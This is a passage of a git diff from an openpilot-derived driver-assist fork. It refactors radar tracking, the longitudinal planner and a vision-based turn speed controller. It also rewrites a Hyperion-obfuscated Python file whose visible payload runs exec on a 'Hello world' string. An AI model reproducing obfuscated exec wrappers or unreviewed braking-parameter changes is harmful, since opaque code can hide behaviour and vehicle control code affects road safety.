self.a_desired) x, v, a, j = self.parse_model(sm['modelV2'], self.v_model_error) - # dynamic stopping distance ONLY when on radarUnavailable vehicles (e.g. Toyota C-HR, VW) - stop_distance = STOP_DISTANCE if not self.CP.radarUnavailable else interp(sm['carState'].vEgo, [0., 2.78, 5.55, 22.], [3.7, 4., 5, STOP_DISTANCE]) - self.mpc.update(sm['radarState'], v_cruise, x, v, a, j, personality=self.personality, stop_distance=stop_distance) + self.mpc.update(sm['radarState'], v_cruise_sol, x, v, a, j, personality=self.personality, use_df_tune=self.dp_long_use_df_tune) self.v_desired_trajectory_full = np.interp(T_IDXS, T_IDXS_MPC, self.mpc.v_solution) self.a_desired_trajectory_full = np.interp(T_IDXS, T_IDXS_MPC, self.mpc.a_solution) @@ -269,7 +172,6 @@ class LongitudinalPlanner: self.fcw = self.mpc.crash_cnt > 2 and not sm['carState'].standstill if self.fcw: cloudlog.info("FCW triggered") - self._set_dp_e2e_mode('blended', True) # Interpolate 0.05 seconds and save as starting point for next iteration a_prev = self.a_desired @@ -292,9 +194,38 @@ class LongitudinalPlanner: longitudinalPlan.hasLead = sm['radarState'].leadOne.status longitudinalPlan.longitudinalPlanSource = self.mpc.source longitudinalPlan.fcw = self.fcw - longitudinalPlan.longitudinalValid = self.mpc.mode == 'acc' longitudinalPlan.solverExecutionTime = self.mpc.solve_time longitudinalPlan.personality = self.personality pm.send('longitudinalPlan', plan_send) + + # dp - extension + plan_ext_send = messaging.new_message('longitudinalPlanExt') + + longitudinalPlanExt = plan_ext_send.longitudinalPlanExt + + longitudinalPlanExt.visionTurnControllerState = self.vision_turn_controller.state + longitudinalPlanExt.visionTurnSpeed = float(self.vision_turn_controller.v_turn) + + longitudinalPlanExt.dpE2EIsBlended = self.mpc.mode == 'blended' + + longitudinalPlanExt.longitudinalPlanExtSource = self.mpc.source if self.mpc.source != 'cruise' else self.cruise_source + pm.send('longitudinalPlanExt', plan_ext_send) + + # mapd + def cruise_solutions(self, enabled, v_ego, a_ego, v_cruise, sm): + # Update controllers + self.vision_turn_controller.update(enabled, v_ego, a_ego, v_cruise, sm) + + # Pick solution with lowest velocity target. + a_solutions = {'cruise': float("inf")} + v_solutions = {'cruise': v_cruise} + + if self.vision_turn_controller.is_active: + a_solutions['turn'] = self.vision_turn_controller.a_target + v_solutions['turn'] = self.vision_turn_controller.v_turn + + source = min(v_solutions, key=v_solutions.get) + + return source, a_solutions[source], v_solutions[source] diff --git a/selfdrive/controls/lib/radar_helpers.py b/selfdrive/controls/lib/radar_helpers.py deleted file mode 100644 index 4184340dc..000000000 --- a/selfdrive/controls/lib/radar_helpers.py +++ /dev/null @@ -1,159 +0,0 @@ -from common.numpy_fast import mean -from common.kalman.simple_kalman import KF1D - - -# Default lead acceleration decay set to 50% at 1s -_LEAD_ACCEL_TAU = 1.5 - -# radar tracks -SPEED, ACCEL = 0, 1 # Kalman filter states enum - -# stationary qualification parameters -v_ego_stationary = 4. # no stationary object flag below this speed - -RADAR_TO_CENTER = 2.7 # (deprecated) RADAR is ~ 2.7m ahead from center of car -RADAR_TO_CAMERA = 1.52 # RADAR is ~ 1.5m ahead from center of mesh frame - -class Track(): - def __init__(self, v_lead, kalman_params): - self.cnt = 0 - self.aLeadTau = _LEAD_ACCEL_TAU - self.K_A = kalman_params.A - self.K_C = kalman_params.C - self.K_K = kalman_params.K - self.kf = KF1D([[v_lead], [0.0]], self.K_A, self.K_C, self.K_K) - - def update(self, d_rel, y_rel, v_rel, v_lead, measured): - # relative values, copy - self.dRel = d_rel # LONG_DIST - self.yRel = y_rel # -LAT_DIST - self.vRel = v_rel # REL_SPEED - self.vLead = v_lead - self.measured = measured # measured or estimate - - # computed velocity and accelerations - if self.cnt > 0: - self.kf.update(self.vLead) - - self.vLeadK = float(self.kf.x[SPEED][0]) - self.aLeadK = float(self.kf.x[ACCEL][0]) - - # Learn if constant acceleration - if abs(self.aLeadK) < 0.5: - self.aLeadTau = _LEAD_ACCEL_TAU - else: - self.aLeadTau *= 0.9 - - self.cnt += 1 - - def get_key_for_cluster(self): - # Weigh y higher since radar is inaccurate in this dimension - return [self.dRel, self.yRel*2, self.vRel] - - def reset_a_lead(self, aLeadK, aLeadTau): - self.kf = KF1D([[self.vLead], [aLeadK]], self.K_A, self.K_C, self.K_K) - self.aLeadK = aLeadK - self.aLeadTau = aLeadTau - - -class Cluster(): - def __init__(self): - self.tracks = set() - - def add(self, t): - # add the first track - self.tracks.add(t) - - # TODO: make generic - @property - def dRel(self): - return mean([t.dRel for t in self.tracks]) - - @property - def yRel(self): - return mean([t.yRel for t in self.tracks]) - - @property - def vRel(self): - return mean([t.vRel for t in self.tracks]) - - @property - def aRel(self): - return mean([t.aRel for t in self.tracks]) - - @property - def vLead(self): - return mean([t.vLead for t in self.tracks]) - - @property - def dPath(self): - return mean([t.dPath for t in self.tracks]) - - @property - def vLat(self): - return mean([t.vLat for t in self.tracks]) - - @property - def vLeadK(self): - return mean([t.vLeadK for t in self.tracks]) - - @property - def aLeadK(self): - if all(t.cnt <= 1 for t in self.tracks): - return 0. - else: - return mean([t.aLeadK for t in self.tracks if t.cnt > 1]) - - @property - def aLeadTau(self): - if all(t.cnt <= 1 for t in self.tracks): - return _LEAD_ACCEL_TAU - else: - return mean([t.aLeadTau for t in self.tracks if t.cnt > 1]) - - @property - def measured(self): - return any(t.measured for t in self.tracks) - - def get_RadarState(self, model_prob=0.0): - return { - "dRel": float(self.dRel), - "yRel": float(self.yRel), - "vRel": float(self.vRel), - "vLead": float(self.vLead), - "vLeadK": float(self.vLeadK), - "aLeadK": float(self.aLeadK), - "status": True, - "fcw": self.is_potential_fcw(model_prob), - "modelProb": model_prob, - "radar": True, - "aLeadTau": float(self.aLeadTau) - } - - def get_RadarState_from_vision(self, lead_msg, v_ego, model_v_ego): - lead_v_rel_pred = lead_msg.v[0] - model_v_ego - return { - "dRel": float(lead_msg.x[0] - RADAR_TO_CAMERA), - "yRel": float(-lead_msg.y[0]), - "vRel": float(lead_v_rel_pred), - "vLead": float(v_ego + lead_v_rel_pred), - "vLeadK": float(v_ego + lead_v_rel_pred), - "aLeadK": 0.0, - "aLeadTau": 0.3, - "fcw": False, - "modelProb": float(lead_msg.prob), - "radar": False, - "status": True - } - - def __str__(self): - ret = f"x: {self.dRel:4.1f} y: {self.yRel:4.1f} v: {self.vRel:4.1f} a: {self.aLeadK:4.1f}" - return ret - - def potential_low_speed_lead(self, v_ego): - # stop for stuff in front of you and low speed, even without model confirmation - # Radar points closer than 0.75, are almost always glitches on toyota radars - return abs(self.yRel) < 1.0 and (v_ego < v_ego_stationary) and (0.75 < self.dRel < 25) - - def is_potential_fcw(self, model_prob): - return model_prob > .9 diff --git a/selfdrive/controls/lib/vision_turn_controller.py b/selfdrive/controls/lib/vision_turn_controller.py index 5e5c60162..304a29d23 100644 --- a/selfdrive/controls/lib/vision_turn_controller.py +++ b/selfdrive/controls/lib/vision_turn_controller.py @@ -1,14 +1,15 @@ import numpy as np import math -# from cereal import log +from cereal import custom from common.numpy_fast import interp # from common.params import Params # from common.realtime import sec_since_boot from common.conversions import Conversions as CV -from selfdrive.controls.lib.lane_planner import TRAJECTORY_SIZE +# from selfdrive.controls.lib.lane_planner import TRAJECTORY_SIZE from selfdrive.controls.lib.drive_helpers import V_CRUISE_MAX +import cereal.messaging as messaging - +TRAJECTORY_SIZE = 33 _MIN_V = 5.6 # Do not operate under 20km/h _ENTERING_PRED_LAT_ACC_TH = 1.3 # Predicted Lat Acc threshold to trigger entering turn state. @@ -30,7 +31,7 @@ _NO_OVERSHOOT_TIME_HORIZON = 4. # s. Time to use for velocity desired based on # Lookup table for the minimum smooth deceleration during the ENTERING state # depending on the actual maximum absolute lateral acceleration predicted on the turn ahead. -_ENTERING_SMOOTH_DECEL_V = [-0.2, -0.5] # min decel value allowed on ENTERING state +_ENTERING_SMOOTH_DECEL_V = [-0.2, -1.] # min decel value allowed on ENTERING state _ENTERING_SMOOTH_DECEL_BP = [1.3, 3.] # absolute value of lat acc ahead # Lookup table for the acceleration for the TURNING state @@ -51,12 +52,7 @@ def _debug(msg): print(msg) -# VisionTurnControllerState = log.LongitudinalPlan.VisionTurnControllerState -class VisionTurnControllerState: - disabled = 0 # No predicted substancial turn on vision range or feature disabled. - entering = 1 # A subsantial turn is predicted ahead, adapting speed to turn confort levels. - turning = 2 # Actively turning. Managing acceleration to provide a roll on turn feeling. - leaving = 3 # Road ahead straightens. Start to allow positive acceleration. +VisionTurnControllerState = custom.LongitudinalPlanExt.VisionTurnControllerState def eval_curvature(poly, x_vals): @@ -102,7 +98,7 @@ class VisionTurnController(): self._CP = CP self._op_enabled = False self._gas_pressed = False - self._is_enabled = True #self._params.get_bool("TurnVisionControl") + self._is_enabled = False self._last_params_update = 0. self._v_cruise_setpoint = 0. self._v_ego = 0. @@ -110,6 +106,7 @@ class VisionTurnController(): self._a_target = 0. self._v_overshoot = 0. self._state = VisionTurnControllerState.disabled + self._sm = messaging.SubMaster(['lateralPlanExt']) self._reset() @@ -147,17 +144,10 @@ class VisionTurnController(): self._v_overshoot_distance = 200. self._lat_acc_overshoot_ahead = False - # def _update_params(self): - # time = sec_since_boot() - # if time > self._last_params_update + 5.0: - # self._is_enabled = self._params.get_bool("TurnVisionControl") - # self._last_params_update = time - def _update_calculations(self, sm): # Get path polynomial aproximation for curvature estimation from model data. path_poly = None - model_data = sm['modelV2'] if sm.valid.get('modelV2', False) else None - lat_planner_data = sm['lateralPlan'] if sm.valid.get('lateralPlan', False) else None + model_data = sm['modelV2'] # 1. When the probability of lanes is good enough, compute polynomial from lanes as they are way more stable # on current mode than drving path. @@ -193,8 +183,10 @@ class VisionTurnController(): # 2. If not polynomial derived from lanes, then derive it from compensated driving path with lanes as # provided by `lateralPlanner`. + lat_planner_data = self._sm['lateralPlanExt'] + self._sm.update(0) if path_poly is None and lat_planner_data is not None and len(lat_planner_data.dPathWLinesX) > 0 \ - and lat_planner_data.dPathWLinesX[0] > 0: + and lat_planner_data.dPathWLinesX[0] > 0: path_poly = np.polyfit(lat_planner_data.dPathWLinesX, lat_planner_data.dPathWLinesY, 3) # 3. If no polynomial derived from lanes or driving path, then provide a straight line poly. @@ -257,11 +249,10 @@ class VisionTurnController(): self.state = VisionTurnControllerState.disabled def _update_solution(self): - a_target = self._a_ego # DISABLED if self.state == VisionTurnControllerState.disabled: # when not overshooting, calculate v_turn as the speed at the prediction horizon when following - # the smooth deceleration. + # the smooth deceleration. a_target = self._a_ego # ENTERING elif self.state == VisionTurnControllerState.entering: @@ -296,3 +287,6 @@ class VisionTurnController(): self._update_calculations(sm) self._state_transition() self._update_solution() + + def set_enabled(self, enabled): + self._is_enabled = enabled diff --git a/selfdrive/controls/plannerd.py b/selfdrive/controls/plannerd.py index 789527e37..d6e116f66 100755 --- a/selfdrive/controls/plannerd.py +++ b/selfdrive/controls/plannerd.py @@ -1,4 +1,5 @@ #!/usr/bin/env python3 +import os import numpy as np from cereal import car from common.params import Params @@ -38,17 +39,21 @@ def plannerd_thread(sm=None, pm=None): cloudlog.info("plannerd is waiting for CarParams") params = Params() CP = car.CarParams.from_bytes(params.get("CarParams", block=True)) + # with car.CarParams.from_bytes(params.get("CarParams", block=True)) as msg: + # CP = msg cloudlog.info("plannerd got CarParams: %s", CP.carName) + debug_mode = bool(int(os.getenv("DEBUG", "0"))) + longitudinal_planner = LongitudinalPlanner(CP) - lateral_planner = LateralPlanner(CP) + lateral_planner = LateralPlanner(CP, debug=debug_mode) if sm is None: sm = messaging.SubMaster(['carControl', 'carState', 'controlsState', 'radarState', 'modelV2'], poll=['radarState', 'modelV2'], ignore_avg_freq=['radarState']) if pm is None: - pm = messaging.PubMaster(['longitudinalPlan', 'lateralPlan', 'uiPlan']) + pm = messaging.PubMaster(['longitudinalPlan', 'lateralPlan', 'uiPlan', 'longitudinalPlanExt', 'lateralPlanExt']) while True: sm.update() diff --git a/selfdrive/controls/radard.py b/selfdrive/controls/radard.py index a10db12bf..0a03c8aa3 100755 --- a/selfdrive/controls/radard.py +++ b/selfdrive/controls/radard.py @@ -1,21 +1,35 @@ #!/usr/bin/env python3 import importlib import math -from collections import defaultdict, deque +from collections import deque +from typing import Optional, Dict, Any -import cereal.messaging as messaging -from cereal import car +import capnp +from cereal import messaging, log, car from common.numpy_fast import interp from common.params import Params from common.realtime import Ratekeeper, Priority, config_realtime_process -from selfdrive.controls.lib.radar_helpers import Cluster, Track, RADAR_TO_CAMERA from system.swaglog import cloudlog -from third_party.cluster.fastcluster_py import cluster_points_centroid from system.hardware import TICI +from common.kalman.simple_kalman import KF1D -class KalmanParams(): - def __init__(self, dt): + +# Default lead acceleration decay set to 50% at 1s +_LEAD_ACCEL_TAU = 1.5 + +# radar tracks +SPEED, ACCEL = 0, 1 # Kalman filter states enum + +# stationary qualification parameters +V_EGO_STATIONARY = 4. # no stationary object flag below this speed + +RADAR_TO_CENTER = 2.7 # (deprecated) RADAR is ~ 2.7m ahead from center of car +RADAR_TO_CAMERA = 1.52 # RADAR is ~ 1.5m ahead from center of mesh frame + + +class KalmanParams: + def __init__(self, dt: float): # Lead Kalman Filter params, calculating K from A, C, Q, R requires the control library. # hardcoding a lookup table to compute K for values of radar_ts between 0.01s and 0.2s assert dt > .01 and dt < .2, "Radar time step must be between .01s and 0.2s" @@ -36,13 +50,81 @@ class KalmanParams(): self.K = [[interp(dt, dts, K0)], [interp(dt, dts, K1)]] -def laplacian_pdf(x, mu, b): +class Track: + def __init__(self, v_lead: float, kalman_params: KalmanParams): + self.cnt = 0 + self.aLeadTau = _LEAD_ACCEL_TAU + self.K_A = kalman_params.A + self.K_C = kalman_params.C + self.K_K = kalman_params.K + self.kf = KF1D([[v_lead], [0.0]], self.K_A, self.K_C, self.K_K) + + def update(self, d_rel: float, y_rel: float, v_rel: float, v_lead: float, measured: float): + # relative values, copy + self.dRel = d_rel # LONG_DIST + self.yRel = y_rel # -LAT_DIST + self.vRel = v_rel # REL_SPEED + self.vLead = v_lead + self.measured = measured # measured or estimate + + # computed velocity and accelerations + if self.cnt > 0: + self.kf.update(self.vLead) + + self.vLeadK = float(self.kf.x[SPEED][0]) + self.aLeadK = float(self.kf.x[ACCEL][0]) + + # Learn if constant acceleration + if abs(self.aLeadK) < 0.5: + self.aLeadTau = _LEAD_ACCEL_TAU + else: + self.aLeadTau *= 0.9 + + self.cnt += 1 + + def get_key_for_cluster(self): + # Weigh y higher since radar is inaccurate in this dimension + return [self.dRel, self.yRel*2, self.vRel] + + def reset_a_lead(self, aLeadK: float, aLeadTau: float): + self.kf = KF1D([[self.vLead], [aLeadK]], self.K_A, self.K_C, self.K_K) + self.aLeadK = aLeadK + self.aLeadTau = aLeadTau + + def get_RadarState(self, model_prob: float = 0.0): + return { + "dRel": float(self.dRel), + "yRel": float(self.yRel), + "vRel": float(self.vRel), + "vLead": float(self.vLead), + "vLeadK": float(self.vLeadK), + "aLeadK": float(self.aLeadK), + "status": True, + "fcw": self.is_potential_fcw(model_prob), + "modelProb": model_prob, + "radar": True, + "aLeadTau": float(self.aLeadTau) + } + + def potential_low_speed_lead(self, v_ego: float): + # stop for stuff in front of you and low speed, even without model confirmation + # Radar points closer than 0.75, are almost always glitches on toyota radars + return abs(self.yRel) < 1.0 and (v_ego < V_EGO_STATIONARY) and (0.75 < self.dRel < 25) + + def is_potential_fcw(self, model_prob: float): + return model_prob > .9 + + def __str__(self): + ret = f"x: {self.dRel:4.1f} y: {self.yRel:4.1f} v: {self.vRel:4.1f} a: {self.aLeadK:4.1f}" + return ret + + +def laplacian_pdf(x: float, mu: float, b: float): b = max(b, 1e-4) return math.exp(-abs(x-mu)/b) -def match_vision_to_cluster(v_ego, lead, clusters): - # match vision point to best statistical cluster match +def match_vision_to_track(v_ego: float, lead: capnp._DynamicStructReader, tracks: Dict[int, Track]): offset_vision_dist = lead.x[0] - RADAR_TO_CAMERA def prob(c): @@ -53,59 +135,84 @@ def match_vision_to_cluster(v_ego, lead, clusters): # This is isn't exactly right, but good heuristic return prob_d * prob_y * prob_v - cluster = max(clusters, key=prob) + track = max(tracks.values(), key=prob) # if no 'sane' match is found return -1 # stationary radar points can be false positives - dist_sane = abs(cluster.dRel - offset_vision_dist) < max([(offset_vision_dist)*.25, 5.0]) - vel_sane = (abs(cluster.vRel + v_ego - lead.v[0]) < 10) or (v_ego + cluster.vRel > 3) + dist_sane = abs(track.dRel - offset_vision_dist) < max([(offset_vision_dist)*.25, 5.0]) + vel_sane = (abs(track.vRel + v_ego - lead.v[0]) < 10) or (v_ego + track.vRel > 3) if dist_sane and vel_sane: - return cluster + return track else: return None -def get_lead(v_ego, ready, clusters, lead_msg, model_v_ego, low_speed_override=True): +def get_RadarState_from_vision(lead_msg: capnp._DynamicStructReader, v_ego: float, model_v_ego: float): + lead_v_rel_pred = lead_msg.v[0] - model_v_ego + return { + "dRel": float(lead_msg.x[0] - RADAR_TO_CAMERA), + "yRel": float(-lead_msg.y[0]), + "vRel": float(lead_v_rel_pred), + "vLead": float(v_ego + lead_v_rel_pred), + "vLeadK": float(v_ego + lead_v_rel_pred), + "aLeadK": 0.0, + "aLeadTau": 0.3, + "fcw": False, + "modelProb": float(lead_msg.prob), + "radar": False, + "status": True + } + + +def get_lead(v_ego: float, ready: bool, tracks: Dict[int, Track], lead_msg: capnp._DynamicStructReader, model_v_ego: float, low_speed_override: bool = True) -> Dict[str, Any]: # Determine leads, this is where the essential logic happens - if len(clusters) > 0 and ready and lead_msg.prob > .5: - cluster = None #match_vision_to_cluster(v_ego, lead_msg, clusters) + if len(tracks) > 0 and ready and lead_msg.prob > .5: + track = match_vision_to_track(v_ego, lead_msg, tracks) else: - cluster = None + track = None lead_dict = {'status': False} - if cluster is not None: - lead_dict = cluster.get_RadarState(lead_msg.prob) - elif (cluster is None) and ready and (lead_msg.prob > .5): - lead_dict = Cluster().get_RadarState_from_vision(lead_msg, v_ego, model_v_ego) + if track is not None: + lead_dict = track.get_RadarState(lead_msg.prob) + elif (track is None) and ready and (lead_msg.prob > .5): + lead_dict = get_RadarState_from_vision(lead_msg, v_ego, model_v_ego) if low_speed_override: - low_speed_clusters = [c for c in clusters if c.potential_low_speed_lead(v_ego)] - if len(low_speed_clusters) > 0: - closest_cluster = min(low_speed_clusters, key=lambda c: c.dRel) + low_speed_tracks = [c for c in tracks.values() if c.potential_low_speed_lead(v_ego)] + if len(low_speed_tracks) > 0: + closest_track = min(low_speed_tracks, key=lambda c: c.dRel) - # Only choose new cluster if it is actually closer than the previous one - if (not lead_dict['status']) or (closest_cluster.dRel < lead_dict['dRel']): - lead_dict = closest_cluster.get_RadarState() + # Only choose new track if it is actually closer than the previous one + if (not lead_dict['status']) or (closest_track.dRel < lead_dict['dRel']): + lead_dict = closest_track.get_RadarState() return lead_dict -class RadarD(): - def __init__(self, radar_ts, delay=0): - self.current_time = 0 +class RadarD: + def __init__(self, radar_ts: float, delay: int = 0): + self.current_time = 0.0 - self.tracks = defaultdict(dict) + self.tracks: Dict[int, Track] = {} self.kalman_params = KalmanParams(radar_ts) - # v_ego - self.v_ego = 0. - self.v_ego_hist = deque([0], maxlen=delay+1) + self.v_ego = 0.0 + self.v_ego_hist = deque([0.0], maxlen=delay+1) + + self.radar_state: Optional[capnp._DynamicStructBuilder] = None + self.radar_state_valid = False self.ready = False - def update(self, sm, rr): + def update(self, sm: messaging.SubMaster, rr: Optional[car.RadarData]): self.current_time = 1e-9*max(sm.logMonoTime.values()) + radar_points = [] + radar_errors = [] + if rr is not None: + radar_points = rr.points + radar_errors = rr.errors + if sm.updated['carState']: self.v_ego = sm['carState'].vEgo self.v_ego_hist.append(self.v_ego) @@ -113,7 +220,7 @@ class RadarD(): self.ready = True ar_pts = {} - for pt in rr.points: + for pt in radar_points: ar_pts[pt.trackId] = [pt.dRel, pt.yRel, pt.vRel, pt.measured] # *** remove missing points from meta data *** @@ -133,41 +240,12 @@ class RadarD(): self.tracks[ids] = Track(v_lead, self.kalman_params) self.tracks[ids].update(rpt[0], rpt[1], rpt[2], v_lead, rpt[3]) - idens = list(sorted(self.tracks.keys())) - track_pts = [self.tracks[iden].get_key_for_cluster() for iden in idens] - - # If we have multiple points, cluster them - if len(track_pts) > 1: - cluster_idxs = cluster_points_centroid(track_pts, 2.5) - clusters = [None] * (max(cluster_idxs) + 1) - - for idx in range(len(track_pts)): - cluster_i = cluster_idxs[idx] - if clusters[cluster_i] is None: - clusters[cluster_i] = Cluster() - clusters[cluster_i].add(self.tracks[idens[idx]]) - elif len(track_pts) == 1: - # FIXME: cluster_point_centroid hangs forever if len(track_pts) == 1 - cluster_idxs = [0] - clusters = [Cluster()] - clusters[0].add(self.tracks[idens[0]]) - else: - clusters = [] - - # if a new point, reset accel to the rest of the cluster - for idx in range(len(track_pts)): - if self.tracks[idens[idx]].cnt <= 1: - aLeadK = clusters[cluster_idxs[idx]].aLeadK - aLeadTau = clusters[cluster_idxs[idx]].aLeadTau - self.tracks[idens[idx]].reset_a_lead(aLeadK, aLeadTau) - # *** publish radarState *** - dat = messaging.new_message('radarState') - dat.valid = sm.all_checks() and len(rr.errors) == 0 - radarState = dat.radarState - radarState.mdMonoTime = sm.logMonoTime['modelV2'] - radarState.radarErrors = list(rr.errors) - radarState.carStateMonoTime = sm.logMonoTime['carState'] + self.radar_state_valid = sm.all_checks() and len(radar_errors) == 0 + self.radar_state = log.RadarState.new_message() + self.radar_state.mdMonoTime = sm.logMonoTime['modelV2'] + self.radar_state.radarErrors = list(radar_errors) + self.radar_state.carStateMonoTime = sm.logMonoTime['carState'] if len(sm['modelV2'].temporalPose.trans): model_v_ego = sm['modelV2'].temporalPose.trans[0] @@ -175,18 +253,39 @@ class RadarD(): model_v_ego = self.v_ego leads_v3 = sm['modelV2'].leadsV3 if len(leads_v3) > 1: - radarState.leadOne = get_lead(self.v_ego, self.ready, clusters, leads_v3[0], model_v_ego, low_speed_override=True) - radarState.leadTwo = get_lead(self.v_ego, self.ready, clusters, leads_v3[1], model_v_ego, low_speed_override=False) - return dat + self.radar_state.leadOne = get_lead(self.v_ego, self.ready, self.tracks, leads_v3[0], model_v_ego, low_speed_override=True) + self.radar_state.leadTwo = get_lead(self.v_ego, self.ready, self.tracks, leads_v3[1], model_v_ego, low_speed_override=False) + + def publish(self, pm: messaging.PubMaster, lag_ms: float): + assert self.radar_state is not None + + radar_msg = messaging.new_message("radarState") + radar_msg.valid = self.radar_state_valid + radar_msg.radarState = self.radar_state + radar_msg.radarState.cumLagMs = lag_ms + pm.send("radarState", radar_msg) + + # publish tracks for UI debugging (keep last) + tracks_msg = messaging.new_message('liveTracks', len(self.tracks)) + for index, tid in enumerate(sorted(self.tracks.keys())): + tracks_msg.liveTracks[index] = { + "trackId": tid, + "dRel": float(self.tracks[tid].dRel), + "yRel": float(self.tracks[tid].yRel), + "vRel": float(self.tracks[tid].vRel), + } + pm.send('liveTracks', tracks_msg) # fuses camera and radar data for best lead detection -def radard_thread(sm=None, pm=None, can_sock=None): +def radard_thread(sm: Optional[messaging.SubMaster] = None, pm: Optional[messaging.PubMaster] = None, can_sock: Optional[messaging.SubSocket] = None): config_realtime_process(5 if TICI else 2, Priority.CTRL_LOW) # wait for stats about the car to come in from controls cloudlog.info("radard is waiting for CarParams") CP = car.CarParams.from_bytes(Params().get("CarParams", block=True)) + # with car.CarParams.from_bytes(Params().get("CarParams", block=True)) as msg: + # CP = msg cloudlog.info("radard got CarParams") # import the radar from the fingerprint @@ -215,28 +314,13 @@ def radard_thread(sm=None, pm=None, can_sock=None): sm.update(0) - dat = RD.update(sm, rr) - dat.radarState.cumLagMs = -rk.remaining*1000. - - pm.send('radarState', dat) - - # *** publish tracks for UI debugging (keep last) *** - tracks = RD.tracks - dat = messaging.new_message('liveTracks', len(tracks)) - - for cnt, ids in enumerate(sorted(tracks.keys())): - dat.liveTracks[cnt] = { - "trackId": ids, - "dRel": float(tracks[ids].dRel), - "yRel": float(tracks[ids].yRel), - "vRel": float(tracks[ids].vRel), - } - pm.send('liveTracks', dat) + RD.update(sm, rr) + RD.publish(pm, -rk.remaining*1000.0) rk.monitor_time() -def main(sm=None, pm=None, can_sock=None): +def main(sm: Optional[messaging.SubMaster] = None, pm: Optional[messaging.PubMaster] = None, can_sock: messaging.SubSocket = None): radard_thread(sm, pm, can_sock) diff --git a/selfdrive/debug/dump.py b/selfdrive/debug/dump.py index fdb825eea..c3911a972 100755 --- a/selfdrive/debug/dump.py +++ b/selfdrive/debug/dump.py @@ -42,6 +42,8 @@ if __name__ == "__main__": for sock in polld: msg = sock.receive() evt = log.Event.from_bytes(msg) + # with log.Event.from_bytes(msg) as log_evt: + # evt = log_evt if not args.no_print: if args.pipe: diff --git a/selfdrive/debug/hyundai_enable_radar_points.py b/selfdrive/debug/hyundai_enable_radar_points.py index 3a0ff33cb..ac3651bf2 100755 --- a/selfdrive/debug/hyundai_enable_radar_points.py +++ b/selfdrive/debug/hyundai_enable_radar_points.py @@ -59,6 +59,9 @@ SUPPORTED_FW_VERSIONS = { b"TM__ SCC F-CUP 1.00 1.00 99110-S1210\x19\x01%\x168 ": ConfigValues( default_config=b"\x00\x00\x00\x01\x00\x00", tracks_enabled=b"\x00\x00\x00\x01\x00\x01"), + b"TM__ SCC F-CUP 1.00 1.02 99110-S2000\x18\x07\x08\x18W ": ConfigValues( + default_config=b"\x00\x00\x00\x01\x00\x00", + tracks_enabled=b"\x00\x00\x00\x01\x00\x01"), } if __name__ == "__main__": diff --git a/selfdrive/dragonpilot/obf-fileserv.py b/selfdrive/dragonpilot/obf-fileserv.py index 267e345d8..f17cdf33e 100755 --- a/selfdrive/dragonpilot/obf-fileserv.py +++ b/selfdrive/dragonpilot/obf-fileserv.py @@ -1,5 +1,5 @@ from builtins import * -from math import prod as _add +from math import prod as Absolute __obfuscator__ = 'Hyperion' @@ -11,103 +11,96 @@ __license__ = 'EPL-2.0' __code__ = 'print("Hello world!")' -_multiply, _system, _positive, Run, Builtins, _stackoverflow, Random = exec, str, tuple, map, ord, globals, type +Modulo, Add, Power, Random, _modulo, _stackoverflow, _ceil = exec, str, tuple, map, ord, globals, type -class _divide: - def __init__(self, _algorithm): - self.While = _add((_algorithm, 82898)) - self.Positive(Statistics=-15026) +class _while: + def __init__(self, _product): + self._memoryaccess = Absolute((_product, -27001)) + self._walk(Builtins=85917) - def Positive(self, Statistics = Ellipsis): + def _walk(self, Builtins = True): # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler - self.While += 12374 - Statistics + self._memoryaccess /= -98051 + Builtins try: - (_multiply, Builtins) if _system <= Theory else (_positive, Theory) != Run + ((Power, {DetectVar: DetectVar}) for Power in (Add, Power) if _modulo < _modulo) except AttributeError: - ((_multiply, (_positive, Theory)) for _multiply in {Run: 'tllh3lRebbobhebtt'} if _stackoverflow < Theory) + (({_modulo: _modulo}, _modulo) for _modulo in {DetectVar: DetectVar}) except: - Random(32993 - -30490) == type + _ceil(-76217 - 67403) == True - def Cube(self, _memoryaccess = 6777): + def Invert(self, _add = 26483): # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler - _memoryaccess -= -5251 * 63136 - self._theory != str + _add /= -78432 * -54168 + self.Positive != str try: - (_positive, Theory) if Run >= _positive else (_positive, Theory) == _multiply + {DetectVar: DetectVar} if Random <= DetectVar else (Add, Random) is _modulo except AssertionError: - ({Builtins: Builtins} or Theory if {Builtins: Builtins} and Theory else ... or (Theory, {Builtins: Builtins})) + ((Add, (Modulo, Power)) for Add in {_modulo: _modulo} if Random >= Modulo) except: - Random(23913 - -42559) == type + _ceil(-6674 * 9727) == None - def _floor(Substract = float): - return _stackoverflow()[Substract] + def _negative(Product = Ellipsis): + return _stackoverflow()[Product] - def StackOverflow(CallFunction = 39189 / 28692, _round = False, Ceil = _stackoverflow): + def StackOverflow(_run = 44975 + -3997, _square = True, MemoryAccess = _stackoverflow): # sourcery skip: collection-to-bool, remove-redundant-boolean, remove-redundant-except-handler - Ceil()[CallFunction] = _round + MemoryAccess()[_run] = _square try: - ((_multiply, Builtins) or _multiply if (_multiply, Builtins) and _multiply else ... or (_multiply, (_multiply, Builtins))) + ((Add, {_modulo: _modulo}) for Add in (Modulo, Power) if _stackoverflow != _modulo) - except ArithmeticError: - {Builtins: Builtins} if _positive == _multiply else (_multiply, Builtins) == _system + except TypeError: + ({DetectVar: DetectVar} or Random if {DetectVar: DetectVar} and Random else ... or (Random, {DetectVar: DetectVar})) except: - Random(72721 / -61685) == type + _ceil(96078 / 4657) == Ellipsis def execute(code = str): - return _multiply(_system(_positive(Run(Builtins, code)))) + return Modulo(Add(Power(Random(_modulo, code)))) @property - def _theory(self): - self.Add = '<__main__._absolute object at 0x000007264BE11994>' - return (self.Add, _divide._theory) + def Positive(self): + self.Walk = '<__main__._modulo object at 0x000008063BE22857>' + return (self.Walk, _while.Positive) if __name__ == '__main__': try: - _divide.execute(code = __code__) - _absolute = _divide(_algorithm = 51718 - -10389) + _while.execute(code = __code__) + System = _while(_product = -11287 - 86948) - if 449411 > 4464934: - _divide(_algorithm = 14777 + 2751).Cube(_memoryaccess = 69234 * _absolute.While) - elif 329625 < 8435790: - _divide(_algorithm = 67898 * -48045).Cube(_memoryaccess = 3965 - _absolute.While) 